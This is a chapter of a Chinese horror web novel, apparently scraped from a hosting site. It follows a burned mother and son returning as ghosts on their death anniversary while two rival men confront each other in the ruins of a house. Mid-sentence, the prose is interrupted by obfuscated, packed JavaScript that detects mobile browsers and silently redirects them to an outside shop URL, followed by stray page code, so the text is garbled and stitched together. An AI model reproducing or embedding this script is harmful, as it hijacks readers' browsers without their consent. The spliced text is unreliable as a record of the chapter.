文趣网 > 其他小说 > 霄 > 16. 黑井镇
    夜里九点半的树林,夜色浓稠得像是一块化不开的黑色血痂。

    树林深处,寂静被一声脆响打破。

    “啪。”

    饱和的果实,被森白的指骨硬生生地捏爆了。

    陈白薇面无表情的,看着那股浓稠的,散发着幽幽绿光的汁液,顺着她早已没有皮肉包裹的指缝,蜿蜒地流进了瓶子。

    瓶子被填满的瞬间,里面发出沉闷的“咕嘟”声,像是溺水之人在水底吐出了最后一个气泡。

    陈白薇将瓶塞塞紧,举起瓶子,对着透过树冠缝隙洒落的冷白月光,仔细端详着。

    瓶子里的汁液已经积满了。

    那液体不是流动的,而像是被压缩着,在内壁里蠕动着的胶质物,颜色忽明忽暗,像是无数亡魂的眼睛,在黑暗里茫然地眨动着。

    如果仔细看,还能发现里面偶尔会浮动出一两张扭曲的人脸,不多时又会被挤压消失。

    整整一千个工鬼的残魂,终于全部压缩进了这个小小的、锈迹斑斑的瓶子里。

    陈白薇将瓶子缓缓收进怀中,用那双只剩下白骨的手,轻轻地,温柔地地抚摸了一下,像是在抚摸这世界上最珍贵的宝石。

    随后,她的手向上移,碰到了自己的脸。

    指尖传来的是粗糙干裂的触感,焦黑的、碳化的皮肉,掺杂着暗红腥臭的血液,一碰就像烧饼皮扑噗噗地往下掉。

    七年了。

    时间久到她已经有些记不清自己之前的样子了,但是有些记忆却又似乎近在眼前。

    她忽然朝虚空中伸出手,像是以前小水接住雪花那样。

    过了很久,陈白薇又颓然地放了下去。

    过去的那些大火,已经烧掉了几乎所有的东西。

    身侧,小儿子江从水低着头,安静地站在母亲的身边。

    他那两个黑洞般的眼眶里,黑血已经停止了流淌,取而代之的是死寂的空洞。

    这个孩子总是低着头,不知道在想什么,或许他什么也没有想。

    “走吧。”

    陈白薇淡淡地开口,沙哑的声音像是木柴在摩擦。

    “今晚,我们回家。”

    江从水没有说话,只是默默地跟上了母亲的脚步。

    一高一矮两个焦黑的身影,沿着那片由无数亡魂生长而成的诡异树林,缓缓地向小镇内部走去。

    夜里的脚步声总是很清晰,即便刻意放轻,也能听到。

    欧阳蘅走在夜里十点的,只有昏暗路灯的街道上。

    孙纲尸体还在欧阳蘅的客厅里,不过,这一切都不重要了。

    因为今晚,有很重要的事啊。

    他独自走在黑暗的街道上,月光将他的影子拉得很长,像是他身后一道永远也甩不掉的、狭长的阴影。

    而在街道的另一端,一个身形清瘦的男人,正拉着一个穿着白大褂的年轻人的手腕,沉默地向同一个方向走去。

    “你要带我去哪里?”

    江从景皱着眉,被父亲半拉半拽地走着,语气里带着明显的不情愿:“都这个点了,我明天还要上班。”

    “今天,是你母亲和弟弟的忌日。”

    江聿淡淡地开口,没有回头,声音低沉地像是从冰窖里捞出来的石头,硬邦邦地砸在地上。

    “整整七年了。”

    江从景脚步猛地一顿,他没再挣扎,而是甩开父亲的手,沉默地跟在了他的身后。

    江家旧宅,坐落在小镇西北角的一条小巷里,像是黑井镇上一道溃烂化脓的伤疤。

    因为七年前的那场大火,这条街的人几乎都搬走了,只剩下冷寂的废墟和丛生的杂草。

    此刻,废墟里残留的那几堵焦黑断壁,在月光下投下扭曲的阴影。

    那些烧焦的木梁和碎瓦之间,不知道什么时候长出了几株野草,在夜风里无声地摇曳。

    江聿推开了那扇已经锈迹斑斑、只剩下半截的铁门,走了进去。

    江从景站在父亲身旁,将双手插进白大褂的口袋里,抬头看着那片被焦黑废墟切割得支离破碎的夜空,什么都没有说。

    然而,令他们没想到的是,江家的旧宅院子里,站着一个人。

    欧阳蘅。

    他穿着一件黑色风衣,背对着二人,正仰着头看着屋顶被烧断的房梁。

    “你来干什么!”

    江聿腾地一下直起身,大步走向欧阳蘅,一瞬间他感觉浑身的血液都逆流冲上了头顶,太阳穴突突直跳,眼底瞬间布满了红色的血丝。

    “人都被你害死了,你是来这里欣赏自己的杰作的吗?”

    他的声音颤抖着,不是因为恐惧,而是因为极度的愤怒。

    江聿一把揪住欧阳蘅的衣领,将他狠狠地推在断墙上。

    “砰!”

    “你还有脸来?”

    “七年前,要不是你,要不是你栽赃陷害,我的妻子和孩子就不会死!我就不会家破人亡!你,你这个……”

    他喘着粗气,那张平日里温文尔雅的脸,此刻扭曲成了一个让人陌生的模样,满是恨意与痛苦:“这一切,全他妈都是因为你!”

    欧阳蘅站在废墟中央,月光从头顶洒下,照在他那张依旧平静的脸上。

    欧阳蘅冷冷地“哼”了一声,像是听到了一个不值一驳的笑话,任由他抓着。

    那居高临下的目光,仿佛是在看一只趴在身上的苍蝇:“江聿,七年了,你还是这么愚蠢,只会说些无关痛痒的话。”

    他抬起手,轻描淡写地握住江聿的手腕,猛地发力。

    江聿刺痛,被迫松开了手。

    欧阳恒整理了一下被抓住的衣领,嘴角勾起一抹讽刺的弧度。

    “尸体是从你们家院子里挖出来的,巫咒是从你们家书里搜出来的,你说我栽赃,你有证据吗?”

    “还是说,”欧阳蘅上前一步,那种上位者的压迫感,逼得江聿后退了半步,“你是无法接受你的枕边人,其实是个为

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17971695|214668||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了救儿子,不择手段的疯子吗?”

    江家旧宅的一处角落里,霄和蓝蜥蜴正以最标准的“吃瓜群众”姿势,蹲在那里一动不动。

    “我去,”蓝蜥蜴的下巴差点没掉到地上,“这是什么修罗场,故事里所有重要的npc,都聚在这里了。”

    “看来今晚有大事要发生啊。”

    “你这不是废话吗,”霄皱着眉,盯着废墟中央那几个人,声音极低,“今天剩下的清醒时间,我本来是打算跟着欧阳蘅,结果遇到了这样的局面。”

    “这也太刺激了,”蓝蜥蜴不由自主地吞了口唾沫,“这进度条……”

    霄低头瞥了一眼面板,上面显示:

    【叮——玩家请注意,当前进度条已推进至70%!】

    “70%了。”霄若有所思地盯着那个数字,“等着吧,之前所有的谜团,我想要不了多久就会解开了。”

    “怎么,被我说中了?”

    “你闭嘴!”

    江聿几乎失控,他迈开一步,朝欧阳蘅走去,那双手握成了拳头,指节因为用力而发白。

    “你在说什么?”

    “白薇她只是想救从景!她只是想用自己的命换儿子的命!她有什么错?她做了什么对不起你的事,你非要她的命?”

    他的声音哽住了,那双眼睛里出现了一种让人不忍直视的情绪。

    “江聿啊,江聿,这么多年,我不相信你从来都没有回忆过当年的事。”欧阳蘅叹了口气,挑了挑眉,“你真的相信,你的妻子就是完全无辜的吗?”

    欧阳蘅平静地看着他:“你心里清楚,你只是不愿意接受。”

    “你……”江聿瞪着欧阳蘅,手指了半天,说不出一句话来。

    江从景冷漠地注视着剑拔弩张的两个人,双手插在白大褂的口袋里,脚尖无聊地拨弄着地上的石子,一言不发。

    他不喜欢这两个人。

    无论是自己的父亲,还是欧阳蘅。

    忽然,一股风突兀地从大门处刮了进来,屋子里的温度骤降。

    那不是普通的风。

    霎时间,霄身上的每一寸肌肉都紧绷起来,一种强烈的危机感让他头皮发麻,他下意识地坐直了身体。

    空气像是被什么东西猛地抓住,凝固了。

    连月光,都像是在这一刻被一双看不见的手捂住,整片废墟瞬间暗下来。

    “滴答……”

    一声黏腻的、仿佛有什么滚烫的液体滴落在碎石上的声音,从门口传来。

    紧接着,那股令人窒息的、混合了焦糊、腐油和血腥的恶臭,如同决堤的洪水,瞬间灌满了整个废墟的空间。

    江聿猛地闭上了嘴。

    欧阳蘅的眼神瞬间变了,那张始终平静的脸上,第一次出现了某种让人看不懂的、复杂的情绪。

    江从景缓缓转过了头。

    所有人,同一时间,朝门口看去。

    陈白薇和江从水,回来了。